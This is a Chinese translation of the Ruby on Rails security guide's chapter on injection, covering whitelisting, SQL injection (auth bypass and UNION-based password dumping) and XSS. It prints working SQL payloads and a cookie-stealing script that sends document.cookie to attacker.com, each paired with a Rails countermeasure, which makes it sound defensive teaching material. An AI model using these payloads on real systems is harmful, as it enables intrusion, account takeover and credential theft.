rubyonrails安全
8.注入 — 注入这类攻击是给一个web应用引入恶意的代码或是参数,以便在其安全的上下文里运行。注入的著名的例子就是跨站点脚本(XSS)和SQL注入。 注入是非常棘手的,因为相同的代码或参数在一个环境是恶意的,但是换个环境却是完全无害的。一个上下文可以是一个脚本,查询或是程序语言,shell或是Ruby/Rails方法。 下面的章节会涵盖所有重要的注入攻击可能发生的所有上下文。 然而第一部分只涉及一个与注入相关的架构决策。 8.1. 白名单 vs 黑名单 — 当净化(sanitizing),保护(protecting)或者验证(verifying)一些东西的时候,白名单胜于黑名单。 黑名单可以是一堆恶意的e-mail地址清单,非公开的actions或者是恶意的HTML tags。 这正好和白名单相反, 白名单是安全的e-mail地址,公开的actions,合法的HTML tags等等。 虽然有时候不可能去创建一个白名单(比如在一个垃圾过滤器里),但也更应该偏向于去使用白名单的方式:: 使用 before_filter :only ⇒ […] 代替 :except ⇒ […]. 这个方法使你避免忘记去屏蔽新增的actions带来的困扰。 使用 attr_accessible 代替 attr_protected. 请看mass-assignment这节的内容(白名单) 允许而不是取消来应付Cross-Site Scripting (XSS)。看下文的细节。 不要使用黑名单的方式验证用户的输入: 这是段可用的攻击代码: "<sc<script>ript>".gsub("<script>", "") 但要拒绝恶意的输入 白名单是一个好方法,可以避免在黑名单里因为人为因素而忘记一些东西的情况。 8.2. SQL注入 — 要感谢那些聪明的方法,使得在大多数的Rails应用中SQL注入成为了一个困难的问题。然而这是一个在web应用里非常严重和常见的攻击,所以理解它是重要的。 8.2.1. 引入 SQL注入攻击的目的是通过操作web应用的参数来影响数据库查询。一种常见目标的SQL注入攻击是绕开授权。另一种目标是执行数据操纵或者是读取任意数据。这有个例子来说明在查询里不使用用户输入的数据 : Project.find(:all, :conditions => "name = '#{params[:name]}'") 这段代码可能放在search action里,用户可以输入一个项目的名字来查找他想找的那个项目。 如果一个恶意用户输入了OR 1=1, 查询结果就会变成: SELECT * FROM projects WHERE name = '' OR 1 --' 这两破折号开始一个注释忽略它后面的一切玩意儿。 所以查询返回projects表的全部记录,包括对用户屏蔽的内容。 这是因为查询条件为真。 8.2.2. 绕过授权 一般一个web应用是包括访问控制的。用户输入他的登陆凭证,web应用试图在users表里去找到与其相匹配的结果。如果它找到一条记录,那么应用就授其访问权限。然而,一个攻击者可能通过SQL注入的手段绕开这个检查。下面是一个典型的Rails数据库查询,当那些登陆凭证和用户输入的一致时,就会在users表里找到对应的第一条记录。 User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'") 如果一个攻击者输入 OR '1=1 作为用户名, OR 2>'1 作为密码, 那么查询结果就会变成: SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 这会很简单就找到了数据库的第一条记录,并且给了这个用户访问权限。 8.2.3. Unauthorized reading UNION连接的两个SQL查询,会返回一组数据集。一个攻击者可以用它来读取数据库里的任意数据,让我们拿上面的例子来看 : Project.find(:all, :conditions => "name = '#{params[:name]}'") 现在让我们使用UNION来注入另一个查询: ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- 它最后是这样的SQL查询结果: SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --') 这个结果不会是项目的列表(因为给的name是空的),而是返回用户名和他们密码的列表。所以希望你在数据库里对密码加密!对攻击者来说, 唯一的问题是这两则查询语句的列数必须相同。这就是为什么第二个查询包含了一组(1),它们的值一直为1, 是为了匹配第一组查询的列数。(译者注:projects表为6列,那么后面的也是6列,所以要加三个1) 此外,第二个查询语句用as重新命名了一些列的名字是为了使web应用显示这些user表里的值。一定要更新你的Rails到最新的2.1.1。 8.2.4.对策 Ruby on Rails有一个专门过滤SQL字符的内置过滤器, 它会过滤 ' , Null字符和破折号。使用 Model.find(id) 或 Model.find_by_some_thing(something)会自动的应用这个对策[,#fffcdb]. 但是在SQL片段,尤其在条件片段(:conditions ⇒ "…"), connection.execute() 或 Model.find_by_sql() 方法里, 必须通过手工操作。 不要给条件参数里传一个字符串,你可以像这样传一个数组来净化威胁: Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) 如你所见, 这个数组的第一部分是以问号标记的sql片段,第二部分中的变量来取代问号。或者你可以传一个hash也是一样的效果: Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password}) 数组和hash只适用于model实例.在其他地方你可以尝试sanitize_sql(). 当在SQL里适用以个外部字符串时候,要习惯性的思考其安全方面的后果。 8.3. 跨站脚本 (XSS) — web应用最广泛的最严重的安全漏洞就是XSS. 它是注入客户端可执行代码的恶意攻击。Rails提供了很多helper方法来抵御这类攻击. 8.3.1.切入点 一个切入点是指攻击者可以开始攻击的有缺陷的URL及其参数。 最常见的切入点是消息贴,用户评论和留言本,但是项目的名称,文件名称和搜索结果页也是脆弱的 - 只要是用户可以输入数据的任何地方。 但是输入并不一定必须来自网站的输入框,它可以是任何的URL参数 - 可见的,隐藏的或内部的。 请记住,用户可以截断任何通信,像使用 Live HTTP Headers Firefox plugin或client-site proxies 可以很容易的改变请求。 XSS 攻击原理是这样的: 一个攻击者注入了一段代码,web应用保存并把它显示在了页面上,之后就呈现给了受害者。最简单的XSS例子是显示一个警告框,但是它的能力不仅仅是这样的。XSS可以窃取cookie,劫持session;让受害者重定向到一个虚假网站,显示有利于攻击者的广告,改变站点内如以获取机密信息或通过浏览器的安全漏洞安装恶意软件。 在2007年的下半年,mozilla浏览器有88个漏洞报告,Safari有22个,IE有18个,Opera有12个。 赛门铁克全球网络安全威胁报告也记载了239个浏览器插件的漏洞。Mpack 是一个非常积极的利用这些漏洞的最新攻击框架。web应用框架的SQL注射漏洞和在每一个文本表列里插入恶意代码对罪恶的黑客是很有吸引力的。 在2008年4月,有超过510,000家网站就这样被黑的,其中包括英国政府,联合国和很多更高级的目标。 一个比较新的,不普遍的切入点方式是广告banner。在2008年较早的时候, 恶意代码就出现在很多知名站点的banner广告上,像MySpace, Excite, 参考Trend Micro. 8.3.2. HTML/JavaScript 注入 最常见的XSS语言当然是最流行的客户端脚本语言JavaScript了,往往和HTML相结合。对用户输入的信息转义处理是必须的。 这里是检测XSS的最直观的测试: <script>alert('Hello'); 这段javascript代码会显示一个简单的警告框。下面这个例子不完全相同,仅用在非常罕见的地方:
Cookie盗窃 到目前为止的例子都没有任何危害,所以让我们来看看一个攻击者如何窃取用户的cookie(从而劫持用户session)。在JavaScript里你可以用document.cookie来读写document的cookie. JavaScript遵循同源策略(译者注:大多数可用于异步检索内容的技术都继承了 JavaScript 安全模型的安全性,它使脚本只与源于该脚本所属页面所在的同一服务器的元素进行交互。这就是所有浏览器都实现了的同源策略),这就意味着一个脚本不能从一个域访问另一个域的cookie。document.cookie 属性仍然持有原始web服务器的cookie,然而,如果你直接在其HTML文档里嵌入了代码(XSS式)你就能读写这个属性。 在你的应用注入这段代码来看你自己的cookie : document.write(document.cookie); 当然这对于攻击者是无用的,因为是受害者看他自己的cookie。下个例子会试图从 http://www.attacker.com/ 加载一个图片以及cookie。当然这个URL不存在,所以浏览器也不会显示任何东西。但是攻击者可以在他自己的web服务器的日志文件里看到受害者的cookie。 document.write('<img src="http://www.attacker.com/' + document.cookie + '">'); 在www.attacker.com上的日志文件会是这样 : GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 你可以通过往cookies里加一个httpOnly 标记来减轻这类攻击,以便document.cookie无法被JavaScript读取。HTTP Only cookies可用于IE v6.SP1, Firefox v2.0.0.5 和 Opera 9.5. Safari仍然在犹豫,它忽略了这个参数。但另一方面旧版本的浏览器 (像基于Mac的WebTV 和 IE 5.5 ) 实际会导致页面加载失败。Be warned that cookies will still be visible using Ajax, though. 感染 被攻击者感染的网页可以做很多事情, 例如, 呈现虚假信息或者引诱受害者到攻击者的网站,窃取其cookie,登陆凭证或者其他敏感数据。最流行的方法是通过iframes包含一个外部来源的代码: 它从外部源加载任意的HTML或且JavaScript,并嵌入到这个站点成为了此站点的一部分。这个IFrame来自于使用Mpack attack framework对一意大利合法网站的一次实际攻击。Mpack试图通过浏览器的安全漏洞去安装恶意软件 - 非常成功,50%的成功率。 一个更加专业的攻击可能会伪造整个网站或是看起来和原始站点一模一样的登陆表单,但是会把用户名和密码传送到攻击者的站点。或者它可以用CSS或且JavaScript在web应用里去隐藏一个合法的连接,却显示另一个通往冒牌网站的连接。 反射注入攻击不是存储在给受害人呈现的页面上,而是包含在URL里的。 尤其是搜索表单过滤失败那些搜索字符之后。下面这个链接呈现了一个内容为“乔治布什任命一个9岁的男孩当主席”的网页。 http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->发布于:
修改于: